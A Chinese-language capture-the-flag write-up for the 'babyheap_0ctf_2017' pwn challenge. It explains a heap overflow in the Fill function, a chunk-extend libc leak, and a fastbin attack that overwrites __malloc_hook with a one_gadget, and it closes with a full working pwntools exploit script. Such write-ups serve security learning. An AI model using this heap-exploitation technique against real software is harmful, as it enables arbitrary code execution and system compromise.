题目

BUUCTF babyheap_0ctf_2017

  • libc version: 2.23
➜  work ./libc.so.6
GNU C Library (GNU libc) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.
  • checksec babyheap_0ctf_2017
➜  work checksec babyheap_0ctf_2017
[*] '/ctf/work/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

分析

主要结构体如下:

00000000 node            struc ; (sizeof=0x18, mappedto_6)
00000000 inuse dd ?
00000004 padding dd ?
00000008 size dq ?
00000010 content dq ? ; offset
00000018 node ends

题目主要有四个功能

  • allocate: 新建一个node, 只建不写
  • fill: 往 node 中写入数据
  • free: 释放 node
  • Dump: 输出 node 内容

其漏洞点在于调用fill函数时是重新输入 size, 使得存在堆溢出

__int64 __fastcall Fill(node *a1)
{
__int64 size; // rax
int v2; // [rsp+18h] [rbp-8h]
int size_1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
size = read_int();
v2 = size;
if ( (signed int)size >= 0 && (signed int)size <= 15 )
{
size = (unsigned int)a1[(signed int)size].inuse;
if ( (_DWORD)size == 1 )
{
printf("Size: ");
size = read_int();
size_1 = size;
if ( (signed int)size > 0 )
{
printf("Content: ");
size = sub_11B2((__int64)a1[v2].content, size_1);
}
}
}
return size;
}

利用思路

  • 创建四个堆块(0, 1, 2, 3), chunk3 防止释放 chunk2 后 chunk2 被 Top chunk 合并

    allocate(0x10)  # 0
    allocate(0x10) # 1
    allocate(0x80) # 2
    allocate(0x10) # 3

    此时堆布局

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555758000
    Size: 0x21

    Allocated chunk | PREV_INUSE
    Addr: 0x555555758020
    Size: 0x21

    Allocated chunk | PREV_INUSE
    Addr: 0x555555758040
    Size: 0x91

    Allocated chunk | PREV_INUSE
    Addr: 0x5555557580d0
    Size: 0x21

    Top chunk | PREV_INUSE
    Addr: 0x5555557580f0
    Size: 0x20f11
  • 通过 fill chunk0 进行堆溢出, 修改 chunk1 的 size 域进行 chunk extend, 使得释放 chunk1 后重新 malloc 回来后, chunk1 包含 chunk2 的头部

    payload = p64(0x0) * 3 + p64(0x41)
    fill(0, len(payload), payload)

    payload = p64(0) * 3 + p64(0x71)
    fill(2, len(payload), payload)

    0x71 用于补全结构, 此时堆布局

    此时堆布局:

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555758000
    Size: 0x21

    Allocated chunk | PREV_INUSE
    Addr: 0x555555758020
    Size: 0x41

    Allocated chunk | PREV_INUSE
    Addr: 0x555555758060
    Size: 0x71

    Allocated chunk | PREV_INUSE
    Addr: 0x5555557580d0
    Size: 0x21

    Top chunk | PREV_INUSE
    Addr: 0x5555557580f0
    Size: 0x20f11
  • 可以看到 chunk1 的 size 域被修改为 0x41, 但是在 node_list 中的 size 并非 0x41, 因此要 free 后重新 malloc 回来

    free(1)
    allocate(0x30) # 1

    payload = p64(0) * 3 + p64(0x91)

    此时 chunk1 内容:

    pwndbg> x/8gx 0x555555758020
    0x555555758020: 0x0000000000000000 0x0000000000000041
    0x555555758030: 0x0000000000000000 0x0000000000000000
    0x555555758040: 0x0000000000000000 0x0000000000000000
    0x555555758050: 0x0000000000000000 0x0000000000000000

    此时 chunk2 的头部被清空了, 因此需要填充回来

    fill(1, len(payload), payload)
  • 这时释放 chunk2, 被 unsorted bin 回收. 这时输出 chunk1 内容就可以知道 main_arena+0x58 的地址, 根据 main_arena address 和 libc base address的偏移固定,因此可以计算出 libc base address

    free(2)

    free 后 chunk1 内容

    pwndbg> x/8gx 0x555555758020
    0x555555758020: 0x0000000000000000 0x0000000000000041
    0x555555758030: 0x0000000000000000 0x0000000000000000
    0x555555758040: 0x0000000000000000 0x0000000000000091
    0x555555758050: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
    p.recvuntil("\x91" + '\x00' * 7)
    leak_addr = u64(p.recv(6).ljust(8, b"\x00"))
    log.success("leak_addr: %s" % hex(leak_addr))
    libc.address = leak_addr - 0x39bb78
    malloc_hook = libc.symbols['__malloc_hook']
    log.success("libc address: %s" % hex(libc.address))
    log.success("__malloc_hook address: %s" % hex(malloc_hook))
    one_gadget = libc.address + one[1]
  • 这时就可以用 fastbin attack, 往 fastbin 链表中填入 __malloc_hook 的地址, 再 malloc 出来修改为 one_gadget 的地址从而 getshell, 但需要注意的是, 要绕过 malloc 的安全防护机制 (size 位的校验), 这里只需要稍微偏移一下即可

    其中 0x7ffff7dd4b10 是上面计算出来的 __malloc_hook 的地址

    pwndbg> x/16gx 0x7ffff7dd4b10 - 0x23
    0x7ffff7dd4aed <_IO_wide_data_0+301>: 0xfff7dd3260000000 0x000000000000007f
    0x7ffff7dd4afd: 0xfff7ab2b00000000 0xfff7ab2aa000007f
    0x7ffff7dd4b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
    0x7ffff7dd4b1d: 0x0000000000000000 0x0000000000000000
    fakefd = malloc_hook - 0x23

    allocate(0x60) # 2
    free(2)

    payload = p64(0) * 3 + p64(0x71) + p64(fakefd)

    fill(1, 0x28, p64(0) * 3 + p64(0x71) + p64(fakefd))

    allocate(0x60) # 2
    allocate(0x60) # 4

    payload = b'a' * 0x13 + p64(one_gadget)

    fill(4, len(payload), payload)

    allocate(0xff)

EXP

from pwn import *

p = process("./babyheap_0ctf_2017")

libc = ELF("./libc.so.6")

context.terminal = ['tmux', 'splitw', '-h']

sla = p.sendlineafter
sda = p.sendafter


def allocate(size):
sla("Command: ", str(1))
sla("Size: ", str(size))


def fill(index, size, content):
sla("Command: ", str(2))
sla("Index: ", str(index))
sla("Size: ", str(size))
sda("Content: ", content)


def free(index):
sla("Command: ", str(3))
sla("Index: ", str(index))


def dump(index):
sla("Command: ", str(4))
sla("Index: ", str(index))


one = [0x3f3d6, 0x3f42a, 0xd5bf7]

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x80) # 2
allocate(0x10) # 3

payload = p64(0x0) * 3 + p64(0x41)

fill(0, len(payload), payload)

payload = p64(0) * 3 + p64(0x71)

fill(2, len(payload), payload)

free(1)

allocate(0x30) # 1

payload = p64(0) * 3 + p64(0x91)

fill(1, len(payload), payload)

free(2)

dump(1)

p.recvuntil("\x91" + '\x00' * 7)

leak_addr = u64(p.recv(6).ljust(8, b"\x00"))

log.success("leak_addr: %s" % hex(leak_addr))

libc.address = leak_addr - 0x39bb78

malloc_hook = libc.symbols['__malloc_hook']

log.success("libc address: %s" % hex(libc.address))
log.success("malloc address: %s" % hex(malloc_hook))

# gdb.attach(p, "b *(0x555555554000 + 0x000000000001147)")

one_gadget = libc.address + one[1]

fakefd = malloc_hook - 0x23

allocate(0x60) # 2
free(2)

payload = p64(0) * 3 + p64(0x71) + p64(fakefd)

fill(1, 0x28, p64(0) * 3 + p64(0x71) + p64(fakefd))

allocate(0x60) # 2
allocate(0x60) # 4

payload = b'a' * 0x13 + p64(one_gadget)

fill(4, len(payload), payload)

allocate(0xff)

p.interactive()